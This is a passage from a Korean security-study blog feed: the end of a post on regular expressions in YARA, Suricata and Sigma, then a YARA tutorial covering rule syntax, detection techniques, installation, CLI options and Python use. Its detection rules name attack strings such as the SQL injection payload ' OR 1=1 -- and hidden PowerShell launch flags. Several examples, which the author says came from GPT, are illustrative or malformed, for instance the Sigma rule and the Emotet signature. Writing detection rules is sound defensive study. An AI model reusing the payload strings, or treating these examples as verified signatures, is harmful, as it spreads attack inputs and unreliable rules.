<li><strong>YARA 룰 예시</strong>:</li>
</ul>
<pre><code class="language-yara">rule MalwareExample
{
    strings:
        $malware_pattern = /bad_pattern_of_malware/i
    condition:
        $malware_pattern
}</code></pre>
<p>YARA는 정규표현식을 통해 특정 문자열을 검색하여 악성 코드 또는 의심스러운 파일을 탐지한다.</p>
<h4 id="2-suricata">2) Suricata</h4>
<p>Suricata는 고급 침입 탐지 시스템(IDS) 및 침입 방지 시스템(IPS)으로, 네트워크 트래픽을 분석하고 악성 활동을 탐지한다. Suricata는 정규표현식을 활용하여 네트워크 트래픽에서 악성 패턴을 탐지할 수 있다.</p>
<ul>
<li><strong>Suricata 규칙 예시</strong>:</li>
</ul>
<pre><code class="language-suricata">alert http any any -&gt; any any (msg:&quot;SQL Injection attempt&quot;; content:&quot;&#39; OR 1=1 --&quot;; classtype:attempted-user; sid:1000001;)</code></pre>
<p>Suricata는 <code>content</code>에 정규표현식을 사용할 수 있으며, 이를 통해 SQL 인젝션, XSS 등 여러 종류의 공격을 탐지할 수 있다.</p>
<h4 id="3-sigma">3) Sigma</h4>
<p>Sigma는 다양한 보안 정보 및 이벤트 관리(SIEM) 시스템에 대한 공통된 로그 기반 탐지 규칙을 작성하는 프레임워크이다. Sigma에서는 정규표현식을 사용하여 로그에서 특정 이벤트나 패턴을 식별할 수 있다.</p>
<ul>
<li><strong>Sigma 규칙 예시</strong>:</li>
</ul>
<pre><code class="language-yaml">title: Potential SQL Injection
logsource:
  product: windows
detection:
  selection:
    EventID: 1234
    Query: /&#39; OR 1=1 --</code></pre>
<p>Sigma 규칙에서 정규표현식은 로그 필터링 및 패턴 매칭에 사용된다. 이를 통해 악성 코드 또는 공격을 추적하고 탐지할 수 있다.</p>
<hr>
<h2 id="11-마무리">11. 마무리</h2>
<p>역대급으로 힘들었던 주제였다. 내용도 내용이지만, 실제 플랫폼/툴에서 덩규표현식이 사용되는 예시를 하나하나 찾기 힘들어 gpt를 이용해 예시를 받았는데, 또 그걸 이해한다고 시간을 쓰다 보니 초기에 상정한 시간에 비해 한참 더 걸렸다.</p>
<p>그래도 그만큼 배운 것들이 많긴 하지만... 앞으로도 daily라는 작성 기조를 이어나가려면 조금은 템포 조절을 해야 할 것 같다는 생각이 든다. 다음주 주제는 조금 가벼운 걸로 잡아봐야겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) YARA]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-YARA</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-YARA</guid>
            <pubDate>Wed, 23 Apr 2025 16:42:38 GMT</pubDate>
            <description><![CDATA[<h1 id="yara">YARA</h1>
<blockquote>
<p>tool primarily used in malware research and detection</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/3ce6aa2a-745f-4fff-9c6e-b84933c0ca64/image.png" alt=""></p>
<p>오늘의 주제는 YARA이다. 당장 이전 주제인 CTI에서도 CTI analyst가 갖춰야 할 소양 중 하나로 다뤘던 도구이며, 구름 프로그램에서도 지나가듯 몇번 접한 적 있다. 오늘은 이 YARA에 대해서 알아보고, YARA Rule에 대해서도 한번 본격적으로 공부해보려 한다.</p>
<hr>
<h2 id="1-yara란-무엇인가">1. YARA란 무엇인가</h2>
<h3 id="11-yara의-정의와-목적">1.1 YARA의 정의와 목적</h3>
<p><strong>YARA</strong>는 &quot;Yet Another Ridiculous Acronym&quot;의 약자로, 악성코드(멀웨어) 식별 및 분류를 위한 오픈소스 기반의 <strong>패턴 매칭 도구</strong>이다. 악성코드 분석가는 YARA를 통해 <strong>파일의 바이너리 혹은 텍스트 구조에서 특정 문자열, 바이너리 패턴, 조건 등을 탐지</strong>하는 규칙(YARA rule)을 정의함으로써, 알려진 악성코드의 시그니처를 찾아내거나 특정 행위 패턴을 기준으로 새로운 변종을 탐지할 수 있다.</p>
<p>YARA의 주요 목적은 다음과 같다:</p>
<ol>
<li><p><strong>악성코드 분류 및 탐지</strong>: 시그니처 기반의 룰을 사용하여 수천 개의 파일을 빠르게 스캔하고, 특정 조건을 만족하는 악성 샘플을 식별할 수 있다.</p>
</li>
<li><p><strong>행위 기반 탐지</strong>: 단순히 해시 값 일치에 의존하지 않고, 공통된 문자열, 코드 구조, 명령어 시퀀스 등을 바탕으로 변종 악성코드도 탐지할 수 있도록 설계되어 있다.</p>
</li>
<li><p><strong>악성코드 자동 분석 도구와 연계</strong>: YARA는 다양한 분석 플랫폼(Cuckoo Sandbox, VirusTotal, MISP 등)과 통합되어 위협 인텔리전스 분석과 대응에도 활용된다.</p>
</li>
</ol>
<p>즉, YARA는 보안 분석가가 <strong>&quot;어떤 파일이 어떤 조건을 만족하면 악성으로 간주된다&quot;</strong> 는 논리를 직접 코드 형태로 작성하고, 그 룰을 수많은 샘플에 적용함으로써 자동화된 분석 체계를 구축하는 데 핵심적인 역할을 한다.</p>
<h3 id="12-yara의-역사와-개발-배경">1.2 YARA의 역사와 개발 배경</h3>
<p>YARA는 2009년, 당시 멀웨어 분석가였던 <strong>Victor Alvarez (VirusTotal 소속)</strong> 에 의해 개발되었다. 당시의 악성코드 분석 현장에서는 샘플 수가 급증하고 있었고, 단순 해시 기반 탐지 방법이나 수동 분석으로는 변종 및 난독화된 악성코드를 판별하기 어려운 상황이었다.</p>
<p>YARA의 개발 배경은 다음과 같다:</p>
<ul>
<li>기존 안티바이러스 엔진의 폐쇄성과 탐지 한계 극복</li>
<li>파일 내부의 구조와 특징을 분석하고 식별하는 능동적인 탐지 기술의 필요</li>
<li>분석가가 직접 룰을 작성하고 공유함으로써 공동 지식 체계를 구축할 수 있는 방식</li>
</ul>
<p>YARA는 처음에는 단순 문자열 탐지 도구로 시작했지만, 이후 조건부 표현식, 정규표현식, 외부 모듈(PE, ELF 분석) 등 다양한 기능이 추가되며 전문 악성코드 분석 및 APT 탐지에까지 널리 사용되게 되었다. 현재는 <strong>VirusTotal, Google, FireEye, Kaspersky</strong> 등 유수의 보안 기업에서 내부 및 공개 룰셋을 사용하거나 배포하고 있다.</p>
<h3 id="13-주요-활용-분야-및-보안-실무에서의-위치">1.3 주요 활용 분야 및 보안 실무에서의 위치</h3>
<p>YARA는 단순한 악성코드 탐지 도구를 넘어, <strong>보안 운영 전반에 걸쳐 광범위하게 활용되는 핵심 분석 도구</strong>로 자리 잡고 있다. 다음은 실무에서의 주요 활용 분야이다:</p>
<h4 id="1-악성코드-사후-분석post-incident-analysis">1) 악성코드 사후 분석(Post-Incident Analysis)</h4>
<ul>
<li>디지털 포렌식 과정에서 확보된 파일들의 악성 여부를 신속하게 판단하기 위해 YARA 룰을 적용한다.</li>
<li>특히 APT 그룹의 시그니처나 C2 패턴 등 고유 문자열이 포함된 YARA 룰은, 침해 범위를 좁히고 IOC를 도출하는 데 유용하다.</li>
</ul>
<h4 id="2-멀웨어-연구-및-분류-체계-구축">2) 멀웨어 연구 및 분류 체계 구축</h4>
<ul>
<li>바이러스 연구소나 CERT 팀에서는 수천 개의 샘플을 분석해 악성코드 계열을 분류하고 각 패밀리별로 YARA 룰을 만든다.</li>
<li>이를 통해 지속적으로 업데이트되는 악성코드의 변종도 실시간 대응이 가능하다.</li>
</ul>
<h4 id="3-위협-인텔리전스-연계-및-자동-탐지-시스템">3) 위협 인텔리전스 연계 및 자동 탐지 시스템</h4>
<ul>
<li>SIEM, EDR, SOAR 등의 자동화된 보안 시스템에서 YARA 룰을 사용해 의심 파일을 실시간 탐지한다.</li>
<li>MISP, ThreatFox 등 위협 인텔리전스 플랫폼에서 공개된 룰을 받아 분석 환경에 적용할 수 있다.</li>
</ul>
<h4 id="4-보안-훈련-및-교육">4) 보안 훈련 및 교육</h4>
<ul>
<li>악성코드 분석 입문자나 사이버 보안 트레이닝에서도 YARA는 기본 툴로 사용된다.</li>
<li>실제 악성 샘플을 기반으로 룰을 작성하고 테스트하는 과정을 통해 악성코드의 동작 원리를 실무적으로 이해할 수 있다.</li>
</ul>
<p>즉, YARA는 보안 대응, 위협 탐지, 자동화 시스템, 위협 인텔리전스 통합 등 다양한 분야에서 가볍고 효율적이며 확장 가능한 탐지 도구로 널리 활용되고 있으며, 사이버 위협에 선제적으로 대응하기 위한 필수 기술로 간주되고 있다.</p>
<hr>
<h2 id="2-yara-rule의-구조와-구성-요소">2. YARA Rule의 구조와 구성 요소</h2>
<p>YARA는 명시적이고 읽기 쉬운 룰 기반 언어를 제공하여, 사용자가 직접 악성코드 탐지 규칙을 작성하고 관리할 수 있도록 한다. YARA 룰은 본질적으로 <strong>하나의 규칙(rule)</strong> 안에 문자열, 메타정보, 탐지 조건을 포함하며, 간결한 문법으로 매우 유연한 탐지 로직 구성이 가능하다.</p>
<h3 id="21-기본-문법-개요">2.1 기본 문법 개요</h3>
<p>YARA 룰은 기본적으로 다음과 같은 구조를 따른다.</p>
<pre><code class="language-yara">rule RuleName {
    meta:
        key1 = &quot;value1&quot;
        key2 = &quot;value2&quot;
    strings:
        $a = &quot;malicious_string&quot;
        $b = { 6A 40 68 00 30 00 00 }
    condition:
        $a or $b
}</code></pre>
<p>YARA 룰은 항상 <code>rule</code> 키워드로 시작하며, 규칙 이름을 지정한 후 중괄호 <code>{}</code> 내부에 <strong>meta, strings, condition</strong> 세 섹션이 위치한다. 각 요소는 선택적으로 생략 가능하지만, <code>condition</code> 섹션은 필수이다.</p>
<h3 id="22-rule-헤더-rule-이름-meta-tags">2.2 Rule 헤더: rule 이름, meta, tags</h3>
<h4 id="1-rule-이름">1) <code>rule</code> 이름</h4>
<ul>
<li>규칙의 고유 식별자 역할.</li>
<li>알파벳, 숫자, <code>_</code> 사용 가능. 숫자로 시작하거나 공백은 불가.</li>
<li>예: <code>rule apt_phishing_2023</code></li>
</ul>
<h4 id="2-meta-섹션">2) <code>meta:</code> 섹션</h4>
<ul>
<li>룰에 대한 부가 정보를 설명하는 키-값 쌍.</li>
<li>탐지에는 영향을 주지 않지만 문서화, 분류, 필터링 등에 유용.</li>
<li>일반적으로 작성자, 작성일, 설명, 참조 URL 등을 명시한다.</li>
</ul>
<pre><code class="language-yara">meta:
    author = &quot;student_researcher&quot;
    description = &quot;Detects phishing campaign using specific string patterns&quot;
    date = &quot;2024-02-14&quot;
    reference = &quot;https://example.com/threat/phish&quot;</code></pre>
<h4 id="3-tags">3) <code>tags</code></h4>
<ul>
<li>룰에 태그를 부여하여 카테고리별 검색, 분류를 용이하게 함.</li>
<li><code>rule</code> 선언과 함께 공백으로 나열한다.</li>
</ul>
<pre><code class="language-yara">rule ransom_family_A : ransomware malicious {
    ...
}</code></pre>
<h3 id="23-문자열strings-정의">2.3 문자열(Strings) 정의</h3>
<p><code>strings:</code> 섹션은 룰이 탐지할 대상 문자열을 정의하는 공간이다. 문자열은 반드시 식별자(예: <code>$a</code>, <code>$name</code>, <code>$code</code>)로 시작한다.</p>
<h4 id="1-텍스트-문자열">1) 텍스트 문자열</h4>
<pre><code class="language-yara">$a = &quot;This program cannot be run&quot;</code></pre>
<ul>
<li>ASCII 또는 UTF-16으로 정의 가능.</li>
<li>문자열 뒤에 <code>ascii</code>, <code>wide</code>, <code>nocase</code> 등의 옵션 지정 가능.</li>
</ul>
<pre><code class="language-yara">$b = &quot;malicious&quot; nocase wide</code></pre>
<h4 id="2-헥사-문자열-hex-string">2) 헥사 문자열 (Hex string)</h4>
<pre><code class="language-yara">$c = { 6A 40 68 ?? ?? 00 00 }</code></pre>
<ul>
<li>바이너리 시그니처 탐지에 유용.</li>
<li><code>??</code>는 와일드카드 바이트(아무 값이나 허용).</li>
</ul>
<h4 id="3-정규-표현식-regular-expressions">3) 정규 표현식 (Regular Expressions)</h4>
<pre><code class="language-yara">$d = /[A-Z]{4}-\d{3}/</code></pre>
<ul>
<li>슬래시(<code>/</code>)로 감싸야 하며, Perl 스타일 regex 사용.</li>
<li>뒤에 <code>nocase</code>, <code>fullword</code> 같은 플래그를 붙일 수 있음.</li>
</ul>
<pre><code class="language-yara">$e = /cmd\.exe/i</code></pre>
<h3 id="24-조건condition-정의와-표현식">2.4 조건(Condition) 정의와 표현식</h3>
<p><code>condition:</code> 섹션은 룰이 <strong>어떤 조건에서 탐지를 수행할 것인지</strong>를 지정한다. 이 섹션은 룰 실행의 핵심으로, 반드시 존재해야 한다.</p>
<p>YARA는 C 스타일의 논리 연산자와 제어 구조를 지원한다:</p>
<h4 id="1-논리-연산자">1) 논리 연산자</h4>
<ul>
<li><code>and</code>, <code>or</code>, <code>not</code></li>
</ul>
<h4 id="2-비교-연산자">2) 비교 연산자</h4>
<ul>
<li><code>==</code>, <code>!=</code>, <code>&gt;</code>, <code>&lt;</code>, <code>&gt;=</code>, <code>&lt;=</code></li>
</ul>
<h4 id="3-문자열-존재-여부">3) 문자열 존재 여부</h4>
<pre><code class="language-yara">$a or $b
all of them
any of ($a, $b, $c)</code></pre>
<h4 id="4-파일-위치-기반-탐지">4) 파일 위치 기반 탐지</h4>
<pre><code class="language-yara">$a at entrypoint
$a in (0..100)</code></pre>
<h4 id="5-반복-조건">5) 반복 조건</h4>
<pre><code class="language-yara">#b &gt; 5  // $b가 파일 내에 5번 이상 등장할 때</code></pre>
<h4 id="6-복합-조건-예시">6) 복합 조건 예시</h4>
<pre><code class="language-yara">condition:
    filesize &lt; 1MB and (any of ($a, $b, $c)) and not $d</code></pre>
<h3 id="25-정규식-hex-문자열-와일드카드-표현">2.5 정규식, Hex 문자열, 와일드카드 표현</h3>
<h4 id="1-정규-표현식">1) 정규 표현식</h4>
<ul>
<li>정교한 탐지가 가능하지만, 과도한 정규표현식 사용은 성능 저하를 유발할 수 있음.</li>
<li>예시:</li>
</ul>
<pre><code class="language-yara">$dns = /(?:[a-z0-9-]+\.)+(com|net|org)/</code></pre>
<h4 id="2-hex-문자열과-패턴">2) Hex 문자열과 패턴</h4>
<ul>
<li>바이너리 분석에 적합.</li>
</ul>
<pre><code class="language-yara">$code = { 55 8B EC ?? ?? 8B 45 ?? }</code></pre>
<ul>
<li><code>[]</code>를 사용하여 바이트 집합 정의 가능</li>
</ul>
<pre><code class="language-yara">$a = { 6A [2-4] 68 00 30 00 00 }</code></pre>
<ul>
<li><code>[-]</code>는 바이트 수 간격을 허용 (슬라이딩 윈도우처럼 사용)</li>
</ul>
<pre><code class="language-yara">$b = { E8 ?? ?? ?? ?? [4-20] 90 90 }</code></pre>
<h4 id="3-문자열-결합-활용">3) 문자열 결합 활용</h4>
<ul>
<li>룰에서 문자열을 조합하거나 복잡한 조건으로 설정 가능</li>
</ul>
<pre><code class="language-yara">condition:
    ($a and #b &gt; 10) or ($c and filesize &lt; 500KB)</code></pre>
<hr>
<h2 id="3-yara-rule-작성-기법">3. YARA Rule 작성 기법</h2>
<h3 id="31-간단한-악성코드-탐지용-룰-예시">3.1 간단한 악성코드 탐지용 룰 예시</h3>
<p>아래는 악성코드에 흔히 포함된 문자열을 기반으로 탐지하는 YARA 룰의 기본적인 형태다.</p>
<pre><code class="language-yara">rule simple_malware_signature
{
    meta:
        author = &quot;student_analyst&quot;
        description = &quot;Detects basic malware by known string&quot;
        date = &quot;2025-04-19&quot;

    strings:
        $a = &quot;This program cannot be run in DOS mode&quot;
        $b = &quot;cmd.exe&quot;
        $c = &quot;powershell -nop -w hidden&quot;

    condition:
        1 of ($a, $b, $c)
}</code></pre>
<ul>
<li><code>$a</code>, <code>$b</code>, <code>$c</code>: 악성코드에서 자주 발견되는 문자열</li>
<li><code>1 of (...)</code>: 정의된 문자열 중 하나 이상 발견되면 탐지</li>
</ul>
<blockquote>
<p>이 구조는 빠르게 룰을 테스트하거나 특정한 정황을 식별할 때 유용하다.</p>
</blockquote>
<h3 id="32-패턴-기반-탐지를-위한-best-practice">3.2 패턴 기반 탐지를 위한 Best Practice</h3>
<p>단순 문자열 외에도 <strong>Hex 문자열과 정규표현식</strong>을 적극 활용하는 것이 중요하다. 이는 탐지 우회를 시도하는 변형 샘플에 대응하는 데 효과적이다.</p>
<h4 id="1-hex-문자열을-활용한-셸코드-탐지">1) Hex 문자열을 활용한 셸코드 탐지</h4>
<pre><code class="language-yara">rule shellcode_pattern
{
    strings:
        $a = { 6A 40 68 ?? ?? 00 00 6A 14 8D 91 }
    condition:
        $a
}</code></pre>
<ul>
<li><code>??</code>: 와일드카드로서 가변 값을 허용</li>
<li>바이너리 분석 결과 기반의 서명 추출에 효과적</li>
</ul>
<h4 id="2-정규표현식으로-도메인-패턴-탐지">2) 정규표현식으로 도메인 패턴 탐지</h4>
<pre><code class="language-yara">rule suspicious_domains
{
    strings:
        $dom = /[a-z]{5,10}\.duckdns\.org/
    condition:
        $dom
}</code></pre>
<ul>
<li>무료 동적 DNS 서비스를 활용한 악성코드의 C2 서버 탐지에 유용</li>
</ul>
<h4 id="3-문자열-속성-활용">3) 문자열 속성 활용</h4>
<pre><code class="language-yara">rule wide_and_case_insensitive
{
    strings:
        $cmd = &quot;powershell&quot; wide nocase
    condition:
        $cmd
}</code></pre>
<ul>
<li><code>wide</code>: UTF-16 문자열까지 탐지</li>
<li><code>nocase</code>: 대소문자 무시</li>
</ul>
<h3 id="33-false-positive-최소화를-위한-조건-구성-전략">3.3 False Positive 최소화를 위한 조건 구성 전략</h3>
<p>YARA 룰이 정확해야 실무에서 사용 가능하다. 특히 <strong>오탐(False Positive)</strong> 을 방지하기 위한 전략이 필수적이다.</p>
<h4 id="1-조건-결합을-통한-정밀도-향상">1) 조건 결합을 통한 정밀도 향상</h4>
<pre><code class="language-yara">rule accurate_detection
{
    strings:
        $a = &quot;cmd.exe&quot;
        $b = &quot;powershell&quot;
        $c = &quot;Invoke-Expression&quot;

    condition:
        all of ($a, $b, $c)
}</code></pre>
<ul>
<li>단일 문자열로는 탐지 대상이 너무 광범위해질 수 있음</li>
<li>세 가지 문자열이 함께 존재하는 경우에만 탐지되도록 설정</li>
</ul>
<h4 id="2-파일-특성-조건-추가">2) 파일 특성 조건 추가</h4>
<pre><code class="language-yara">rule filter_by_size
{
    strings:
        $a = &quot;UPX0&quot;
    condition:
        filesize &lt; 500KB and $a
}</code></pre>
<ul>
<li><code>filesize</code> 조건을 통해 일반 실행파일 범위를 좁힘</li>
<li>특정 패커(예: UPX) 탐지 시 활용</li>
</ul>
<h4 id="3-entrypoint-기반-탐지">3) entrypoint 기반 탐지</h4>
<pre><code class="language-yara">rule pe_entrypoint_pattern
{
    strings:
        $a = { 55 8B EC 83 EC ?? }
    condition:
        $a at entrypoint
}</code></pre>
<ul>
<li><code>at entrypoint</code>: 실행 시작 지점에서만 탐지하여 정확도 향상</li>
</ul>
<h3 id="34-파일-포맷-구조에-기반한-룰-작성">3.4 파일 포맷 구조에 기반한 룰 작성</h3>
<p>파일 포맷에 대한 이해는 정교한 룰 작성에 핵심적이다. YARA는 <code>pe</code>, <code>elf</code>, <code>mach_o</code> 등의 모듈을 통해 실행파일의 내부 구조를 조건으로 활용할 수 있다.</p>
<h4 id="1-pe-헤더-기반-탐지-예시">1) PE 헤더 기반 탐지 예시</h4>
<pre><code class="language-yara">import &quot;pe&quot;

rule packed_pe_file
{
    condition:
        pe.number_of_sections &gt; 5 and
        pe.sections[1].entropy &gt; 7.0
}</code></pre>
<ul>
<li>PE 섹션 수, 엔트로피 수치 등을 기반으로 패킹 여부 탐지 가능</li>
<li>고엔트로피 = 압축 또는 암호화 가능성</li>
</ul>
<h4 id="2-리소스-섹션-존재-확인">2) 리소스 섹션 존재 확인</h4>
<pre><code class="language-yara">import &quot;pe&quot;

rule suspicious_resource
{
    condition:
        pe.has_resource and pe.resources[0].language == 0x409
}</code></pre>
<ul>
<li>특정 언어(Resource Language) 기반 필터링</li>
</ul>
<h3 id="35-다중-조건-orandnot-논리-연산의-활용">3.5 다중 조건, OR/AND/NOT 논리 연산의 활용</h3>
<p>논리 연산자는 탐지 정밀도와 유연성을 극대화한다. YARA는 <code>and</code>, <code>or</code>, <code>not</code> 뿐만 아니라 <code>any of</code>, <code>all of</code>, <code>none of</code> 구문도 지원한다.</p>
<h4 id="1-조건-조합-예시">1) 조건 조합 예시</h4>
<pre><code class="language-yara">rule complex_condition
{
    strings:
        $a1 = &quot;cmd.exe&quot;
        $a2 = &quot;powershell&quot;
        $b1 = { 68 ?? ?? 00 00 6A }

    condition:
        (any of ($a*)) and $b1 and not $a2
}</code></pre>
<ul>
<li><code>$a*</code>: <code>$a1</code>, <code>$a2</code> 를 모두 포함하는 와일드카드 표현</li>
<li><code>not $a2</code>: 특정 조건 제외</li>
</ul>
<h4 id="2-파일-속성과-결합">2) 파일 속성과 결합</h4>
<pre><code class="language-yara">rule runtime_loader
{
    strings:
        $import = &quot;LoadLibraryA&quot;
        $getproc = &quot;GetProcAddress&quot;

    condition:
        pe.imports(&quot;kernel32.dll&quot;, &quot;LoadLibraryA&quot;) and
        $import and $getproc
}</code></pre>
<ul>
<li><code>pe.imports()</code> 함수는 특정 DLL과 함수의 존재 여부를 검사</li>
</ul>
<hr>
<h2 id="4-yara-실행-및-분석-환경-구축">4. YARA 실행 및 분석 환경 구축</h2>
<p>YARA는 다양한 운영체제에서 활용 가능한 유연한 도구이며, 명령줄에서 직접 실행하거나 Python과 연동하여 자동화된 분석 도구로 활용할 수 있다. 본 장에서는 YARA의 설치부터 명령줄 인터페이스 사용법, Python 통합, 그리고 실제 악성코드 샘플을 대상으로 한 분석 예시까지 전반적인 실무 환경 구성 방법을 다룬다.</p>
<h3 id="41-yara-설치-방법-linux-windows-macos">4.1 YARA 설치 방법 (Linux, Windows, macOS)</h3>
<p>YARA는 오픈소스로 GitHub(<a href="https://github.com/VirusTotal/yara%5C">https://github.com/VirusTotal/yara)</a> 에서 소스를 제공하며, 대부분의 플랫폼에서 컴파일 또는 패키지 설치 방식으로 이용할 수 있다.</p>
<h4 id="1-linux-ubuntu-기준">1) Linux (Ubuntu 기준)</h4>
<pre><code class="language-yara">sudo apt update
sudo apt install yara</code></pre>
<p>또는 최신 버전이 필요할 경우, 소스 컴파일을 진행</p>
<pre><code class="language-yara">git clone https://github.com/VirusTotal/yara.git
cd yara
./bootstrap.sh
./configure
make
sudo make install</code></pre>
<h4 id="2-windows">2) Windows</h4>
<ul>
<li>공식 릴리스 페이지나 Chocolatey 사용</li>
</ul>
<pre><code class="language-powershell">choco install yara</code></pre>
<ul>
<li>또는 pre-built binary 다운로드 후 <code>yara.exe</code> 실행</li>
</ul>
<h4 id="3-macos">3) macOS</h4>
<ul>
<li>macOS에서는 <code>Homebrew</code> 패키지 매니저를 통해 간편하게 설치할 수 있다.</li>
</ul>
<pre><code class="language-yara">brew install yara</code></pre>
<h3 id="42-명령줄-사용법과-주요-옵션">4.2 명령줄 사용법과 주요 옵션</h3>
<p>설치 후에는 <code>yara</code> 명령어를 통해 룰을 적용하여 파일 또는 디렉토리를 분석할 수 있다.</p>
<pre><code class="language-bash">yara [options] rule_file target_file</code></pre>
<h4 id="주요-옵션">주요 옵션</h4>
<table>
<thead>
<tr>
<th><strong><em>옵션</em></strong></th>
<th><strong><em>설명</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td><code>-r</code></td>
<td>디렉토리 전체를 재귀적으로 스캔</td>
</tr>
<tr>
<td><code>-d var=value</code></td>
<td>룰 내 변수 값을 외부에서 정의</td>
</tr>
<tr>
<td><code>-s</code></td>
<td>문자열 매칭 상세 정보 출력</td>
</tr>
<tr>
<td><code>-w</code></td>
<td>일치한 룰만 요약 출력 (무출력 시 탐지 없음)</td>
</tr>
<tr>
<td><code>-g</code></td>
<td>문자열의 일치 오프셋 표시</td>
</tr>
<tr>
<td><code>-f</code></td>
<td>실행을 멈추지 않고 오류 무시</td>
</tr>
</tbody></table>
<h4 id="예시">예시</h4>
<pre><code class="language-bash">yara -r -s malware_rules.yar /home/user/suspicious_files/</code></pre>
<p>이 명령은 <code>malware_rules.yar</code>에 정의된 룰을 이용해 지정된 디렉토리의 모든 파일을 재귀적으로 검사하며, 문자열 매칭 정보를 함께 출력한다.</p>
<h3 id="43-python에서의-yara-연동-yara-python-모듈">4.3 Python에서의 YARA 연동 (<code>yara-python</code> 모듈)</h3>
<p>YARA는 Python과의 연동을 공식적으로 지원하며, 이를 통해 자동화된 악성코드 분석이나 정적 분석 파이프라인을 구성할 수 있다.</p>
<h4 id="1-설치">1) 설치</h4>
<pre><code class="language-bash">pip install yara-python</code></pre>
<ul>
<li>C 기반의 YARA 라이브러리 필요. 설치 전 시스템에 YARA가 설치되어 있어야 한다.</li>
</ul>
<h4 id="2-간단한-사용-예시">2) 간단한 사용 예시</h4>
<pre><code class="language-python">import yara

rules = yara.compile(filepath=&#39;example_rule.yar&#39;)
matches = rules.match(&#39;/path/to/target/file.exe&#39;)

for match in matches:
    print(f&quot;[+] Detected rule: {match.rule}&quot;)
    for s in match.strings:
        print(f&quot;    Offset: {s[0]}, Identifier: {s[1]}, Data: {s[2]}&quot;)</code></pre>
<p>이 코드는 특정 YARA 룰을 로드한 후 지정된 파일에서 탐지를 수행하고, 일치한 문자열의 위치와 내용을 출력한다.</p>
<h4 id="3-룰-문자열-동적-정의">3) 룰 문자열 동적 정의</h4>
<pre><code class="language-python">rule_text = &quot;&quot;&quot;
rule dummy_rule {
    strings:
        $a = &quot;test&quot;
    condition:
        $a
}
&quot;&quot;&quot;
rules = yara.compile(source=rule_text)</code></pre>
<ul>
<li>이 방법은 룰을 코드 내에 동적으로 생성하거나, 웹 인터페이스로부터 입력을 받아 실시간 분석을 수행할 때 유용하다.</li>
</ul>
<h3 id="44-샘플-파일에-대한-실습-예시">4.4 샘플 파일에 대한 실습 예시</h3>
<p>이번엔 실제로 의심스러운 실행 파일을 대상으로 YARA 분석을 수행하는 과정이다.</p>
<h4 id="1-분석-대상-sampleexe">1) 분석 대상: <code>sample.exe</code></h4>
<p>파일 내부에 <code>&quot;cmd.exe&quot;</code>, <code>&quot;powershell&quot;</code>, <code>&quot;LoadLibraryA&quot;</code> 문자열이 존재하는 경우 탐지하는 룰을 작성해보자.</p>
<pre><code class="language-yara">rule detect_exec_payload
{
    strings:
        $cmd = &quot;cmd.exe&quot;
        $ps = &quot;powershell&quot;
        $lib = &quot;LoadLibraryA&quot;

    condition:
        2 of ($cmd, $ps, $lib)
}</code></pre>
<h4 id="2-실행">2) 실행</h4>
<pre><code class="language-bash">yara detect_exec_payload.yar sample.exe</code></pre>
<ul>
<li>출력: 해당 룰이 <code>sample.exe</code> 내의 조건과 일치함을 의미</li>
</ul>
<pre><code class="language-nginx">detect_exec_payload sample.exe</code></pre>
<h4 id="3-매칭-정보-상세-보기">3) 매칭 정보 상세 보기</h4>
<pre><code class="language-bash">yara -s -g detect_exec_payload.yar sample.exe</code></pre>
<ul>
<li>출력: </li>
</ul>
<pre><code class="language-nginx">detect_exec_payload [sample.exe]
0x4020:$cmd: cmd.exe
0x50b0:$ps: powershell</code></pre>
<h4 id="4-python-기반-자동-스캔-예시">4) Python 기반 자동 스캔 예시</h4>
<pre><code class="language-python">import yara

rule_text = &quot;&quot;&quot;
rule simple_check {
    strings:
        $s1 = &quot;system&quot;
        $s2 = &quot;administrator&quot;
    condition:
        any of them
}
&quot;&quot;&quot;

rules = yara.compile(source=rule_text)
result = rules.match(&#39;/home/user/suspicious.exe&#39;)

if result:
    print(&quot;Suspicious pattern found!&quot;)
else:
    print(&quot;No match.&quot;)</code></pre>
<p>이 스크립트는 CI 파이프라인, 이메일 첨부 파일 분석기 등에 자동 연동이 가능하다.</p>
<hr>
<h2 id="5-yara의-실전-활용-사례">5. YARA의 실전 활용 사례</h2>
<p>지금까지 살펴본 바, YARA는 단순한 문자열 매칭 도구를 넘어, <strong>사이버 위협 분석, 악성코드 식별, 그리고 침해지표(IOC) 확산에 있어 핵심적인 역할을 수행하는 정적 분석 도구</strong>이다. 본 장에서는 실제 보안 실무에서 YARA가 어떻게 활용되는지를 중심으로, 다양한 분석 대상과 연동 환경에서의 적용 사례를 구체적으로 설명한다.</p>
<h3 id="51-악성코드-패밀리-식별">5.1 악성코드 패밀리 식별</h3>
<p>YARA는 특정 악성코드 패밀리의 고유한 문자열, 함수명, 코드 구조를 식별해 동일 계열의 변종을 탐지하는 데에 강력하게 활용된다.</p>
<h4 id="1-악성코드-서명화signaturing">1) 악성코드 서명화(Signaturing)</h4>
<ul>
<li><p>악성코드 분석을 통해 공통적으로 발견되는 API 호출(<code>CreateRemoteThread</code>, <code>VirtualAllocEx</code>, <code>URLDownloadToFileW</code> 등), 암호화 키, C2 주소 문자열 등을 기반으로 룰을 정의.</p>
</li>
<li><p>예를 들어, Emotet 악성코드의 경우 DLL 내부에 존재하는 고유한 <code>section name</code>, RC4 키 문자열, 또는 메타데이터 등을 기반으로 탐지 가능.</p>
</li>
</ul>
<pre><code class="language-yara">rule emotet_detection
{
    meta:
        author = &quot;analyst_name&quot;
        family = &quot;Emotet&quot;

    strings:
        $s1 = &quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;
        $s2 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 } // API call pattern
        $s3 = &quot;emotet_module&quot;

    condition:
        1 of ($s*) and filesize &lt; 500KB
}</code></pre>
<h4 id="2-변종-탐지">2) 변종 탐지</h4>
<ul>
<li>YARA는 특정 바이너리 해시가 아닌 특징 기반 탐지를 지향하므로, 해시 우회나 난독화된 변종이더라도 탐지 가능성이 높다.</li>
<li>이는 백신이 탐지하지 못하는 시점에서 APT 초기 침투 분석에 특히 유효하다.</li>
</ul>
<h3 id="52-apt-공격-그룹의-ttp-식별">5.2 APT 공격 그룹의 TTP 식별</h3>
<p>YARA는 전통적인 IOC 중심 탐지를 넘어, MITRE ATT&amp;CK 기반의 Tactics, Techniques, Procedures (TTP) 탐지에도 사용된다.</p>
